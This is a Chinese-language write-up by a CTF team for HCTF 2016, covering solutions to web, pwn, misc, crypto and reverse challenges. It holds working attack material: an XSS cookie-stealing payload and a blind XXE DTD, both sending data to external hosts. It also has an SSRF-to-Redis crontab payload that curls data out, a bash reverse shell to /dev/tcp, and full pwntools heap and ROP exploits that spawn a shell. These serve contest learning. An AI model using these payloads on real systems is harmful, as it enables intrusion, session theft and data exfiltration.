Redbud战队-HCTF 2016 Writeup

  XCTF联赛小秘       2017-03-03 10:21:35 2935  0

 

HCTF 2016 Writeup


Redbud

Web

2099年的flag

Restful

兵者多

giligili

比香港

guestbook

Secret area

图书馆的牧羊人,魔法禁

web手的自我修养

AT field1

AT field2

你没走的套路

PWN

就是干

asm

人跑路了

MISC

杂项签

pic again

所知道的写就此而已→_→

Gogogo

48如何快速精通C++

CRYPTO

Crypto So Interesting

Crypto So Cool

REVERSE

WEB

前年的400

我是最正常的逆向


 

Web


2099年的flag

only ios99 can get flag(Maybe you can easily get the flag in 2099

http://2099.hctf.io/

修改一下http报头,user agent改成:

User-Agent: mozilla/5.0 (iphone; cpu iphone os 99_0_2 like mac os x) applewebkit/537.51.1

(khtml, like gecko)就可以了

flag不在html页面,在head头中


Restful


题目本身会由于ajax自动请求一个GET数据包,依据题目意思(Restful和"Please  <PUT> me

some <money> more than <12450>!") ,构造一个PUT数据包,PUT  /index.php/money/999999

就能看到flag


兵者多


这题有文件包含,可以通过伪协议读到源码,如下

http://pics.hctf.io/home.php?fp=php://filter/read=convert.base64-encode/resource=home

看到代码以后,联想到SWPU的一个Web题,通过phar来绕过。即写一个一句话到php中,然后

压缩成zip,最后通过phar调用。这里系统禁用了菜刀,所以自己写一个脚本去扫目录。

$dh=opendir("../");while (($file = readdir($dh)) !== false){echo  $file."<br>";}

找到Th1s_1s_F1a9.php,然后读取出来

$str=file_get_contents("../Th1s_1s_F1a9.php");echo$str;

前端不显示,查看源码,即可得到flag


giligili


前端debug,下断点

https://github.com/sternze/CTF_writeups/blob/master/sCTF/2016_Q1/obfuscat/readme.md

必须比香港记者还快

条件竞争需要写python脚本

http://changelog.hctf.io/README.md能看到提示

这题被python的urlencode坑了半天。。。

扫目录得到readme.md,读一下知道这题是条件竞争漏洞,在权限降低之前登陆访问index就可以

了。贴上脚本:


 
import time
import requests
import threading
from random import randint
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(0xfffff):
time.sleep(0.1)
name = 'test123' + str(i)
data = {'username': name, 'password': name, 'gogogo':'\xE8\x8B\x9F\x21'}
def reg(name):
r = requests.post( 'http://changelog.hctf.io/register.php',
headers=headers,
data=data)
def login(name):
_h = dict(headers)
r = requests.post( 'http://changelog.hctf.io/login.php',
headers=_h,
data=data)
if  'You level is zero' not in r.content:
print r.content
exit()
threading.Thread(target=login, args=(name, )).start()
threading.Thread(target=reg,   args=(name, )).start()


guestbook


过MD5验证码:https://md5db.net/explore/634A

然后,提交如下payload

<script>window.open("http://45.76.70.84:8080/cookie.asp?msg="+document.body)</scrscriptipt>

可以从VPS的log中看到一个refer和管理员cookie: admin_lorexxar.php,

admin=hctf2o16com30nag0gog0

带着cookie访问admin_lorexxar.php,就能看到flag



Secret area


http://sguestbook.hctf.io/

这题csp限制了http://sguestbook.hctf.io/static/,问题是static下有302,

http://sguestbook.hctf.io/static/redirect.php?u=/user.php,而且还能自由上传头像,把js代码当成

头像上传,msg直接

<script src=http://sguestbook.hctf.io/static/redirect.php?u=/uploads/xxxxxx><script>

直接拿cookie,带cookie访问user.php,留言里有flag


 

图书馆的牧羊人,魔法禁

这两题一模一样,除了大图书馆的牧羊人有unintended的方法,这里直接说标准做法,通杀两题图书馆的牧羊人有.git泄露,代key没改,所以其直接encrypt一个admin就可以了,魔法禁key改掉了,所以规规矩矩用cbc,随便改改以前的一个脚本,首先注册一个admink,得到cookie d3G1C1wd0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I

然后


import  base64
c =  'd3G1C1wd0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I'
user =  c
u = user.replace("-", "+").replace("_", "/")
u += "=" * (len(u) %  4)
print  u
de =  base64.b64decode(u)
de2 = de[0]+de[1]+de[2]+de[3]+de[4]+ chr(ord(de[5]) ^ ord('k') ^ ord('\0'))+de[6:]
en = base64.b64encode(de2).replace("+", "-").replace("/", "_").replace("=", "")
print  en


得到新cookie d3G1C1xx0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I,替换掉cookie,访问以下login.php让session[‘user’]的值更新为admin,然后访问manage.php发现是一个上传,可以传zip,会自动解压,只要$files['type']!=="application/epub+zip",这个用burp修改就行


//upload
$files = isset($_FILES['file']) ? $_FILES['file'] :  exit();
if($files['type']!=="application/epub+zip")  {
exit("Not Allow type!");
}
//extract
$file = new  ZipArchive;
$epub_name =  $files['tmp_name'];
$extracted_path =  'uploads/'.basename($files['name'],".epub")."/";
if ($file->open($epub_name) ===  TRUE){
$file->extractTo($extracted_path);
$file->close();
}


根据代码肯定是一个xxe

http://rickgray.me/2015/06/08/xml-entity-attack-review.html

按上面的资料学习一发,锁定无回显的xxe

构造一个zip,META-INF目录下的container.xml,内容为

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=flag.php">

<!ENTITY % dtd SYSTEM "http://vpsip/combine.dtd">

%dtd;

%send;

]>

<container version="1.0" xmlns "urn:oasis:names:tc:opendocument:xmlns:container">

<rootfiles>

<rootfile full-path="content.opf" media-type="application/oebps-package+xml"/>

</rootfiles>

</container>


http://vps的ip/combine.dtd的内容为


<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://vpsip/?content=%file;'>">
%payload;


Upload zip,然后read.php访问他,看直接的vps的access.log

就可以看到flag过来了



web手的自我修养


根据/tmp目录,home目录分析,发现了一个OPcahe恶意文件分析工具,猜测后门在OPcahce里

,直接搜索OPcache,以hctf与hctf的base64为特征,搜索

find /tmp -type f -name "*.bin" |xargs strings| grep aGN

aGN0ZnswcGNBY2gzX2ZvMF9jUmFja30=

解码就是flag



AT field1


http://www.127.0.0.1.xip.io

Base64解码,搞定

参考:离别歌的博客

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html


AT field2


http://www.127.0.0.1.xip.io用burp扫后台,能发现README.md,发现了提示有nosql,有crontab

,那基本就是redis和crontab写文件来得shell


 

先用http://www.vps的ip.xip.io/发现useragent是python的urllib,猜测存在http头部注入,反正这个

注入支持302跳转,用一个php来跳转

用http://www.vps的ip.xip.io/1.php来操作

1.php的代码

<?php
header('Location: http://xxxxx/');



https://phpinfo.me/2016/07/07/1275.html


https://blog.chaitin.com/gopher-attack-surfaces/


参考一下这两个ssrf的资料,最后一次试的payload,1.php为

header('Location:


http://redis%00%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a9%0d%0a%2464

%0d%0a%0a*%2f1%20*%20*%20*%20*%20*%20curl%20--data-urlencode%20%22%60ls%20

%2f%60%22%20vps的

ip%0a%0d%0aconfig%20set%20dir%20%2fvar%2fspool%2fcron%2f%0d%0aconfig%20set%20

dbfilename%20firesun%0d%0asave%0d%0a:6379/');



提交http://www.vps的ip.xip.io/1.php,返回500


连curl都curl不出来

Bash反弹的payload丢了不过都类似,改中间的代码就行

改为*/1 * * * * bash -i >& /dev/tcp/xxxxx/2333 0>&1

貌似中间的有长度限制,可以拿%20补到64,不过貌似也不行


你没走的套路


给了一句话,那第一步先反弹一个shell回来方便操作,

Nmap全网 发现192.168.0.1,4,5,6,php-fpm运行在192.168.0.4

192.168.0.1开了nfs端口,用showmount -e 192.168.0.1可以看到存在共享/var/nfs,

由于没root权限,端口映射出来本地挂载,参考rr菊苣的文章

https://ricterz.me/posts/Mount%20NFS%20via%20Proxy?_=1480252069313


 

端口转发可以用http://www.freebuf.com/articles/system/12182.html这类的二进制来转发

/var/nfs里其实就一个default.conf,里面关键的地方

location /static {

alias /var/www/static/;

autoindex on;

}

所以访问http://xxxxx/static..等于访问/var/www/static/..

192.168.0.1,5,6上运行着nginx,挨个测试,发现192.168.0.6有问题

直接访问

http://120.27.122.0/?aklis=echo%20system(%22curl%20192.168.0.6/static../%22);

得flag



PWN


就是干


delete函数有Double free漏洞,利用double free可以构造UAF。从而改写堆上堆函数指针。


在PIE开启堆情况下末12bit是没有被随机化的,所以可以通过paritial overwrite堆上的函数指针。


堆上的函数指针倒数第9位~12位为0xd只有半个字节无法修改,只能修1~8位,通过观察可以发


现在0xdb6存在一个mov eax 0 , call printf,所以可以将堆函数指针最后8位改为0xb6,从而实现调


用delete(note)时调用printf(note) ,通过格式化串可以打出堆上的libc地址,泄出system之后再次触


发漏洞将函数指针改为system,调用delete(note)即相当于调用system(“/bin/sh”)

from pwn import  *;
port=80
objname =  "fheap"
preload=""
objpath =  preload+"./"+objname
io =  process(objpath)
def readuntil(delim):
data =  io.recvuntil(delim);
return  data;
def readall():
data =  io.recv(4096,1);
return  data;
def write(data):
io.send(str(data));
sleep(0.1)
 
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def create(data):
writeline("create  ");
writeline(len(data)+1);
write(data+"\x00");
readall();
def delete(id):
writeline("delete  ");
writeline(id);
write("yes  ");
readall();
def attack(ip=0):
global  io
if ip !=  0:
io =  remote(ip,port)
writeline("f9e6d5eb63096fa65c8c275302580f2aNtrEBUug");
create("A"*0x40);
create("B"*0x40);
create("C"*0x40);
create("D"*0x40);
create("E"*0x40);
create("F"*0x40);
create("G"*0x40);
delete(0);
delete(6);
create("A"*0x40);
delete(6);
delete(5);
create("F"*(0x12)+"%22$pA"+"\xb6");
writeline("delete  ");
writeline(0);
write("yes  ");
readuntil("F"*0x12)
leak=readuntil("A")[:-1]
leak=int(leak,16);
system=leak-0x329c3;
 
print  hex(system)
readall();
writeline("no")
writeline("no")
writeline("no")
delete(5);
create("/bin/sh;"+"F"*(0x10)+p64(system));
delete(0)
readall()
io.interactive();
attack()


asm


题目中实现了一个汇编语言的解释器,解释执行输入的汇编语言。在汇编器中自己定义了寄存器

r0~r3 sp pc以及data段  栈stack

不过解释器的实现具有以下问题:

    ●可以通过mov     sp,addr来将栈指针覆盖为addr

    ●可以通过lea     r0,r1来直接获得r1寄存器在解释器程序中的地址(是一个bss的地址)

    ●可以通过push     value向sp指向的位置写数据

    ●可以通过pop     r0将sp指向的位置的数据填入r0

如上所示,可以通过构造汇编语言来实现任意地址读写

不过题目中的程序对sp做了一定的安全检查,在push时,检查sp的地址是否小于stack的下界,

在pop时会检查sp是否大于stack的上界。而stack是程序自己malloc的一个堆地址,所以考虑用

pop泄漏低于堆地址的got中的libc地址以及位于bss段上存有的一个栈地址。利用pop泄漏的栈地

址和push来改写栈中的返回地址以及调用参数,返回到system即可拿到shell

data:
0x6e69622f,0x0068732f,0x74737973,0x00006d65
end
mov r2,sp
lea r0,r2
sub  r0,r0,0x30
mov sp,r0
pop r1
sub  r1,r1,0x24800
lea r0,r2
sub  r0,r0,0x8
mov sp,r0
pop r0
add  r0,r0,0x70
 
mov sp,r0
add  sp,sp,0x8
push  data
sub  sp,sp,0x4
push r1
$


人跑路了


这个题目一开始懵了一会,然后发现其实这道题是典型的brop,pwn外面的沙箱会一直重启,所以一开始我是个while= =人好心的了很多hint,然而做出来才发现

首先要找stop gadget,使用partial overwrite去随便跳转,首先是找到了一个输出0x7fxxxx的一个目的地,再然后找到了一个“Dont dump my memory”gadget,从而可以用来判断rop

不是执行成功。然后使用万能gadget解决,找的办法是找4个连续的pop,这类gadget在binary中是比少的,所以找到基本能判定是万能gadget,随后直接暴力跑got表,直到找到printf的地址,从而leak,并完成整个程。


#!/usr/bin/env python
# coding: utf-8
from pwn import  *
#init
context.log_level =  "debug"
local=False
name =  "pwn50"
if local:
p =  process(name)
else:
p = remote("115.28.78.54",  13455)
def  sd(cont):
p.sendline(cont)
def  cv(cont):
return  p.recvuntil(cont)
def  attach():
if local:
gdb.attach(pidof(name)[0],execute = "source debug")
#binary = ELF(name)
#print '[*] PID:',pidof(name)
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
cv("token:  ")
sd("f9e6d5eb63096fa65c8c275302580f2aNtrEBUug")
cv("WelCome my friend,Do you know password?\n")
gadget =  0x4007ba
 
stop_gad =  0x400715
gadret =  0x4007a0
guess_got_printf =  0x601018
guess_got_read =  0x601028
target =  guess_got_read
target2 =  0x601080
offset_system =  0x0000000000045390
offset_read =  0x00000000000f6670
offset_write =  0x00000000000f66d0
offset_str_bin_sh =  0x18c177
payload = 'a'*72 +  p64(gadget)
payload += p64(0) + p64(1) + p64(guess_got_printf) + p64(0x0) + p64(0x0) +  p64(target)
payload +=  p64(gadret)
payload += p64(0xdeadbeefdeadbeef) + p64(0) + p64(1) + p64(guess_got_read) + p64(0x10)  +
p64(target2) +  p64(0x0)
payload +=  p64(gadret)
payload += p64(0xdeadbeefdeadbeef) + p64(0) + p64(1) + p64(target2) + p64(0x0) + p64(0x0)  +
p64(target2 +  8)
payload +=  p64(gadret)
payload += p64(0xdeadbeefdeadbeef) * 0x7 +  p64(stop_gad)
p.send(payload)
sleep(0.5)
data = p.recvn(6) +  '\x00\x00'
read_addr =  u64(data)
print "read_addr: ",hex(read_addr)
libc_addr = read_addr -  offset_read
system_addr = libc_addr +  offset_system
binsh_addr = libc_addr +  offset_str_bin_sh
payload2 = p64(system_addr) +  '/bin/sh\x00\x00'
assert('\n' not in  payload2)
p.send(payload2)
p.interactive()


MISC


杂项签


打开pcap,追踪TCP流提取出一段Python代码和密文,把密文用Python代码里的decrypt解密即

可。

pic again


从图片的LSB中提取出一个zip压缩包,解压出来之后运行程序即可。

你们所知道的隐写就仅此而已吗→_→

使用matlab对图片进行一次FFT变换就能看到flag



Gogogo


给的是修改过的魂斗罗nes,下个可以使用金手指的模拟器,改出来无限金身、快速S弹、20条命

然后就虐怪过关就好了,通关后的字幕里会出现flag。


48如何快速精通C++


arr1 = [88,83,68,86,75]
arr2 = [0x93,0xd7, 0x57, 0xb5,  0xe5, 0xb0, 0xb0, 0x52, 0x2, 0x0, 0x72,
0xb5, 0xf1, 0x80, 0x7, 0x30,  0xa, 0x30, 0x44, 0xb]
def  de18():
first =  ord('{')
i = len(arr2) -  1
while i >  0:
arr2[i] = arr2[i-1] ^  arr2[i]
i -=  1
arr2[0] = arr2[0] ^  first
def  de17():
i = len(arr2) -  1
while i >=  0:
x =  arr2[i]
arr2[i] = x >> 4 | (x & 0xf)  <<  4
i -=  1
def  sum1(x):
s =  0
for i in  range(x+1):
s +=  i
return  s
def  de16():
i = len(arr2) -  1
 
while i >=  0:
arr2[i] ^= sum1(i) ^  106
i -=  1
def  de14():
i =  0
while i <  len(arr2):
if i % 2 ==  0:
arr2[i] = arr2[i] -  i
else:
arr2[i] = arr2[i] +  i
i +=  1
de18()
print  arr2
de17()
print  arr2
de16()
print  arr2
de14()
print  arr2
print ''.join([chr(i) for i  in  arr2])


CRYPTO


Crypto So Interesting


其实程序get_ed函数有问题,其实ed是一对公私钥,ut也是一对公私钥。

e已知可以推出t,u是一个较小的数,可以使用Low Private Exponent Attack

Rsa-wiener-attack


import ContinuedFractions,  Arithmetic, RSAvulnerableKeyGenerator
from libnum import invmod,  gcd
def  hack_RSA(e,n):
'''
Finds d knowing  (e,n)
applying the Wiener continued  fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e,   n)
convergents =  ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in  convergents:
 
#check if d is actually the  key
if k!=0 and (e*d-1)%k ==  0:
phi = (e*d-1)//k
s = n - phi +  1
# check if the equation x^2  - s*x + n = 0
# has integer roots
discr = s*s -  4*n
if(discr>=0):
t =  Arithmetic.is_perfect_square(discr)
if t!=-1 and  (s+t)%2==0:
print("Hacked!")
return  d
# TEST functions
def  test_hack_RSA():
print("Testing Wiener Attack")
d  =
0x5a182e3a03192795e51d98c38bf28d866e7ed837df1b3f4ca59dfa0d410e2557bb70f4f
f7f3b3182bfceb8e0ebd39b10ecabdc1d31a9942f590e97981733ccfd9393a5b4cee4e65e
40d388e2ef3a67fa9ad5b9ec5ed540c7cb97001ae9afcd72caab8436edf7192cd83ee848d
d3675d8b6ff62fafb7180b
e  =
1921644108305655966796816630162868464789943871589702970019549019707522351
5629504776313892740791301622415871512499543295356194528509179143441114754
7079812590695596687617128733241776224275831012914740039917590549667062629
7613162507969053271224597711736869344927813869666716592347525532706169144
4729885542485097475466775087868575972842645246298899185602856027665788828
3150799369432380416176541539911416671799419422057809788594574189737847075
6996135357355607713390219698893129696745710089255315336672026937770543963
3551213886707857898060041595477094800832504990257290851443366606449990151
9778243835044210474221164148221079026375435903377607953133151663223581060
6765812692219918497462149494659068525854240405653200619787872318782789769
6135166320725199258537801258746537740975343220283762593754735120818577193
4110012625331954166023921944116897944796682765315314971583946012421350941
2656952550040811423314592702834271603068300176752518185554701810621798189
7557000648595386885968952512272971662539126982494563328591335175773297612
8142641237141085637682160663244109838591933670071673448365695088882396001
3691744222996889507565644918928452784052259054752429092596361161424331608
38836947715058893967974480401253265026473425330306895259146924067L
n  =
0x831703d28b2cfc57ccd2330c28d931bc68369fad70f964219ae0b3cde19b1c1dacb5d3a
26fac018733a2d5aa901d34bb6c9cb85830e8d2f1f5d3ff9f0a6442cb075cfd324bae3cdc
a04d34ce47884f851af5020e3dd72ae09fec91846e433135ffb130cd24a5cbd5a28f37cd3
1cc336dd24c076743e9ff03fb19628ba63ad06907c5a04145d5e1948eb1ae984141e8368f
 
2f8b3893093f2dd071a656842e13304f809f08d68a8a89fdea5a15c7edf2a02ebfa2449cc
eb191c5754270dc2ebe6175cc55f2d3aadbc2c47487af1e1fc41a32fea64d6a6d2b03642d
640175abccdb82a61d02dc30aa94d234986f3aeb5027ebc9274fe5ace6926c050eff9e0e5
9512cd7e62108db71c934d448ec3fea3401a7b82b5ee19cbc7100fa5088296beb173839cc
73d0df0d65c568559b7bd796b123a58ff9942d75f5844c6b00239b3445b05ae96506d4272
36a89f065241acc8d66cb69b7543496673d9b1c1d697f04e8d2a86e3cf02ada4c645dcf12
2efb28b300cec49f976ad0afa57615467f3ec61eafa17b6e3c0e6d6498c434ca6e010574a
39c6b9a3b2cbeeb6bc81fda7399528187e33059176c2c41e4fe74d230802edcb8526273d7
9c0cfaaff8aae782d7a195c224e82d7a604219338b1eedc173e3dba456e53bc1f16922a63
300fab23acf7736a105e556718392d5e85dcd39f294ced6fcb64afa003fa59bfdaa5c9f23
6381
e2  =
0x79a5ac36ea9ee85db7f3177ad078a2b503fcdce5b2a2cde666b2811713d5fa2023ede70
670b2baad55779ae41ff9594dda3743a69ef98791cee135cc4705216c99b6973f4612da3a
26519e63d94990d6443f5744b5b6c60a6f0d5259e5c645e38ea300441847c241d67a39391
4472e668e791b13aef76399d2b355fbae7355542cfe1993e0beb5d7b115663f96a2dfd0a4
0027c78b229beee1f22b3214122251a6d926985a15b8be1709eb5f9192d4145941b5b9262
18d3d7f854d4f0ea8c5eabdeb1ae3a8ed8b37dccc36e07ee264b23e4727988e056157c5c8
ee187c30a1b393dd8d3a81b74842cb8afce5dd8695327e11241869f19e0577adfb08263f8
0f9d90faaf31a7400967ad3b73d577468349a61e0160a71cc6d04579dbcabcf7e41bc984b
5beca786d64f45630a9dba607009ac420a4311c4e00e9ee5e1fbc16790b253c465ae0be11
e44bd46183dbcb22800d5daffb8eb1b3bf0e4a925f7c6a93b320dcb499de9b023d0e29f8c
b3e2720f201f806044f79987992cc49ddd1ded02382fbb92c743bdae0a8b2e5f298c51d1a
aa561b8b437d7d34df825ac46d777d2d882b5d9b443f7f20014ec11609671f9503cd0adb3
a3116fd7f75f244c80aca0d774433ca6671fb712cf4189823bfc2cdbd90747335c061d49b
26a578f16e14028319bffa4efc72333842c41e10506ac0a3101439c886165eda38006ac36
dcbb
cipher  =
0x2f0459a50e5e7ee075c59caa81b9fe32f28192a2b8e1891c537f564698a571e259bc5b9
54f4a3814f1fa1e8d29b2008d80989dcdd73394519e9b0fb42e7ad9c4cbb8d13b401c4813
c318cd7b732bcbc3d564f2ce39cc4ed135c53a98dadc5eba69b5de9ac759488ac6d228aa5
a8a8488233666ad8839bae4e6c4cd566e24343a3e4b43fa9217018dc4f81ddacf25cafb1b
90980fb7101f18f783b993401785d7fc1a84c4bfa68a4cbdd55babbba26adb0c2882311c1
6c61092bac02d69852732d6c01f254921034462eb948a857bbdf7e79bdd7b978771d9ae68
f993c47704ee31f937ee204672d8926f0e38b234263c75f823d422908721bab8db28bec23
5ecdb3bb64c9693a51e101ecf85fd7b14c41415dd64070747e1ae6086d696d4707b79d735
cec92f9ae9ade3edc80143ada20318ef967a6af1428288f2d681eaddd2215fd9cbc4fd383
248d7a7d59c343c1addb0a80766a64dcfd27f05a0b851da20f39f1053de79534164774507
906d2812b6981eb8dc7724665c2f85774602785771dd594aeddd01f733de08f0906d99599
7c6251e9e8466499bdc60524781957ea5f86bbe6aba7a2ae0ee0dd448a954fd473ccbd140
6586530ee3d64ac8eba99fad3c9ec3fcbac827b6aaafe901f0245ce2567ffe477fea59758
c5136bc4a32f7fd84f58266e8855bba12936dafac1629cc9bd9a4da36e06960166ada49b7
a8e1
bt  =
5363809583506160572426914186348805945021921063323172280519670643276420912
9768763017418363628837823417747643527051963169054376512529555444869889871
2393467267006465045949611180821007306678935181142803069337672948471202242
 
8910101886772874545049336950823277962439768633783339809230474112309139097
1552775987735170206234587633725622076022392625477334669883949226826511054
6383782370744599490250832085044856878026833181982756791595730336514399767
1346139800064671475928981979617891870707866025346021780827267288699418292
3065555918017859448985659530490279018269775119558121833471289200828260518
0395912026326384913562290014629187579128041030500771670510157597682826798
1179378526568841065971801260283983980873181195866929353860696774597889711
1407594153374046297896143693321544634724688694816624761742229304336496829
8176007659058279518552847235689217185712791081965260495815179909242072310
5450781160209981134135174296543283677070699414273683746444423660922329161
9672606738758203250538994639823726158035078076927542785701054326217646834
3294217258086275244086292475394366278211528621216522312552812343261375050
3881297430129327276549860467747595679509810078778561945742743737765388889
53502272879816420369255752871177234736347325263320696917012616273
e = invmod(e2, bt)
print 'e: ',  e
print("d = ",  d)
hacked_d = hack_RSA(e, n)
print  hacked_d
phi_n = e*hacked_d -  1
print "phi_n",  phi_n
d2 = invmod(e2, phi_n)
print "d2",  d2
plain = pow(cipher, d2, n)
print  '--------plain'
print  plain
print  hex(plain)[2:-1].decode('hex')
if __name__ ==  "__main__":
#test_is_perfect_square()
#print("-------------------------")
test_hack_RSA()
'''
[+] Opening connection to 115.159.191.193  on port 12000:  Done
\x91\xbe
deJjg
[*] Switching to interactive  mode
n:
0x831703d28b2cfc57ccd2330c28d931bc68369fad70f964219ae0b3cde19b1c1dacb5d3a
26fac018733a2d5aa901d34bb6c9cb85830e8d2f1f5d3ff9f0a6442cb075cfd324bae3cdc
a04d34ce47884f851af5020e3dd72ae09fec91846e433135ffb130cd24a5cbd5a28f37cd3
1cc336dd24c076743e9ff03fb19628ba63ad06907c5a04145d5e1948eb1ae984141e8368f
 
2f8b3893093f2dd071a656842e13304f809f08d68a8a89fdea5a15c7edf2a02ebfa2449cc
eb191c5754270dc2ebe6175cc55f2d3aadbc2c47487af1e1fc41a32fea64d6a6d2b03642d
640175abccdb82a61d02dc30aa94d234986f3aeb5027ebc9274fe5ace6926c050eff9e0e5
9512cd7e62108db71c934d448ec3fea3401a7b82b5ee19cbc7100fa5088296beb173839cc
73d0df0d65c568559b7bd796b123a58ff9942d75f5844c6b00239b3445b05ae96506d4272
36a89f065241acc8d66cb69b7543496673d9b1c1d697f04e8d2a86e3cf02ada4c645dcf12
2efb28b300cec49f976ad0afa57615467f3ec61eafa17b6e3c0e6d6498c434ca6e010574a
39c6b9a3b2cbeeb6bc81fda7399528187e33059176c2c41e4fe74d230802edcb8526273d7
9c0cfaaff8aae782d7a195c224e82d7a604219338b1eedc173e3dba456e53bc1f16922a63
300fab23acf7736a105e556718392d5e85dcd39f294ced6fcb64afa003fa59bfdaa5c9f23
6381L
e:
0x79a5ac36ea9ee85db7f3177ad078a2b503fcdce5b2a2cde666b2811713d5fa2023ede70
670b2baad55779ae41ff9594dda3743a69ef98791cee135cc4705216c99b6973f4612da3a
26519e63d94990d6443f5744b5b6c60a6f0d5259e5c645e38ea300441847c241d67a39391
4472e668e791b13aef76399d2b355fbae7355542cfe1993e0beb5d7b115663f96a2dfd0a4
0027c78b229beee1f22b3214122251a6d926985a15b8be1709eb5f9192d4145941b5b9262
18d3d7f854d4f0ea8c5eabdeb1ae3a8ed8b37dccc36e07ee264b23e4727988e056157c5c8
ee187c30a1b393dd8d3a81b74842cb8afce5dd8695327e11241869f19e0577adfb08263f8
0f9d90faaf31a7400967ad3b73d577468349a61e0160a71cc6d04579dbcabcf7e41bc984b
5beca786d64f45630a9dba607009ac420a4311c4e00e9ee5e1fbc16790b253c465ae0be11
e44bd46183dbcb22800d5daffb8eb1b3bf0e4a925f7c6a93b320dcb499de9b023d0e29f8c
b3e2720f201f806044f79987992cc49ddd1ded02382fbb92c743bdae0a8b2e5f298c51d1a
aa561b8b437d7d34df825ac46d777d2d882b5d9b443f7f20014ec11609671f9503cd0adb3
a3116fd7f75f244c80aca0d774433ca6671fb712cf4189823bfc2cdbd90747335c061d49b
26a578f16e14028319bffa4efc72333842c41e10506ac0a3101439c886165eda38006ac36
dcbbL
Your flag  is:
0x2f0459a50e5e7ee075c59caa81b9fe32f28192a2b8e1891c537f564698a571e259bc5b9
54f4a3814f1fa1e8d29b2008d80989dcdd73394519e9b0fb42e7ad9c4cbb8d13b401c4813
c318cd7b732bcbc3d564f2ce39cc4ed135c53a98dadc5eba69b5de9ac759488ac6d228aa5
a8a8488233666ad8839bae4e6c4cd566e24343a3e4b43fa9217018dc4f81ddacf25cafb1b
90980fb7101f18f783b993401785d7fc1a84c4bfa68a4cbdd55babbba26adb0c2882311c1
6c61092bac02d69852732d6c01f254921034462eb948a857bbdf7e79bdd7b978771d9ae68
f993c47704ee31f937ee204672d8926f0e38b234263c75f823d422908721bab8db28bec23
5ecdb3bb64c9693a51e101ecf85fd7b14c41415dd64070747e1ae6086d696d4707b79d735
cec92f9ae9ade3edc80143ada20318ef967a6af1428288f2d681eaddd2215fd9cbc4fd383
248d7a7d59c343c1addb0a80766a64dcfd27f05a0b851da20f39f1053de79534164774507
906d2812b6981eb8dc7724665c2f85774602785771dd594aeddd01f733de08f0906d99599
7c6251e9e8466499bdc60524781957ea5f86bbe6aba7a2ae0ee0dd448a954fd473ccbd140
6586530ee3d64ac8eba99fad3c9ec3fcbac827b6aaafe901f0245ce2567ffe477fea59758
c5136bc4a32f7fd84f58266e8855bba12936dafac1629cc9bd9a4da36e06960166ada49b7
a8e1L
'''


 

Crypto So Cool


gen_key的时候q的高位和n是关联的,可以还原出q的部分高位,然后……

主办方最后直接放了个带源码的hint。。。。给跪了Orz

http://inaz2.hatenablog.com/entries/2016/01/20


'''
u =  hex(n)[2:-1][-480:-320]
msb = hex(pi_b(int(u,16),  0))
'''
from sage.all import  *
N  =
0xaa63e1b11c1025336a8537ef47d23b496add7d63ff7e42829dcc5f4715003dd32e719b7
097cd95ce7bede48e22824d3fb43e757063ea62830adb4a68a6ab02178ea3af7b36d41f38
44e654ba14d5dfcc4bf88951e0d410e7b05cab8955ac74d898ae7d0f6cbfe74fe645cb229
058fd594a6931dbe7e0c094d17917ba9568819dead97cbf441d4c408e0250d6e31b4d24bd
5088cc05fe706b52071cee35a83e9f6f6a355f67e2a5db25b125498944f40ce3ef817887c
e5bc18bab52e46c50ec6ea0a3b95759ee0c5e0af79138a2c44eca76994b2d6bd668991176
cd85a4a6a7a4620df81a9b17be86d7640fcae9ad0df7a31483a620546f50d5d11c101dad0
4b9L
E =  0x5a71
C  =
0x3c3770cab1c95ac6f8458051ef19709be6e4b15aef75b3d008d870e39d19c99439c650d
689ffd2c51aa99b5352b1e2bffe81ed8d5287b667c0e591d97379b093dc2dc394769cb467
983505f950498e467ee248ec2e6a08a585bf26ce71c333d98bcb3006593f409b54a5d17ee
e046a6e8aaac683d10f52ea71b4f5fd7bbddc4fb45fd066ac91612ed55259a1e75f960b37
23d5ebfe75b4cf47078d5be2e03d582663718299e43fc604136bf8bff0b89ff5ba3c581ce
4a8ada4dd17a5fdf5be3a0069d4c6c5aa90628153b6f68c2e4712d07fac7b9151a86a8ba3
683c7d65029da1dffd83453909a0479d512ebe3545efbbf8aefd51164fdfabcfb9674b172
91dL
msb  =
0xf5f667e97c181967752040071ebd1ce980d2087f5549a2869acb3a3b26df49f616e7b2e
65e0039a6c87e4324045bd5af64177ff2b69a6ae8154c0a0bb34a27efd141dd4a3a2e4156
47d3f44eb749eb59L * (1<<384)
PR.<x> =  PolynomialRing(Zmod(N))
t =  msb
f = x +  t
roots = f.small_roots(X=2**(1024-640),  beta=0.4)
print "#root",  roots
if  roots:
 
root =  int(roots[0])
kq = root +  t
q = gcd(N, kq)
assert q != 1,  "Fail"
assert q != N,  "Fail"
p = N /  q
d = inverse_mod(E, (p - 1)  * (q -  1))
msg = pow(C, d, N)
# convert to str
h =  hex(int(msg))[2:].rstrip("L")
h = "0" * (len(h) % 2) +  h
print  `h.decode("hex")`


REVERSE


WEB


程序把输入的字符串拷贝一份再做了一些变换,找出数据满足约束即可



#!/usr/bin/env python
# coding: utf-8
import struct
from z3 import  *
xmm = ["87000000B5000000A4000000B1",   "0B900000093000000AD000000AD",
"0FD00000093000000BF000000BF",  "0B7000000FF000000B8000000FC",
"0A4000000ED000000B8000000F9"]
xmm = map(lambda x:x.rjust(32,  '0').decode('hex')[::-1],  xmm)
xmm =  ''.join(xmm)
dwords = []
for i in range(0, len(xmm),   4):
dwords.append(struct.unpack("<I",  xmm[i:i+4])[0] ^  0xCC)
print ''.join(chr(x) for x  in  dwords)
flag = [BitVec("flag%d" % i,  8) for i in  range(20)]
v5 = [BitVec("v%d" % i, 8)  for i in  range(20)]
s =  Solver()
s.add(v5[19] ==  flag[0])
s.add(v5[0] ==  flag[19])
s.add(v5[1] == flag[3] +  2)
 
s.add(v5[17] ==  flag[2])
s.add(v5[2] ==  flag[17])
s.add(v5[3] == flag[5] +  2)
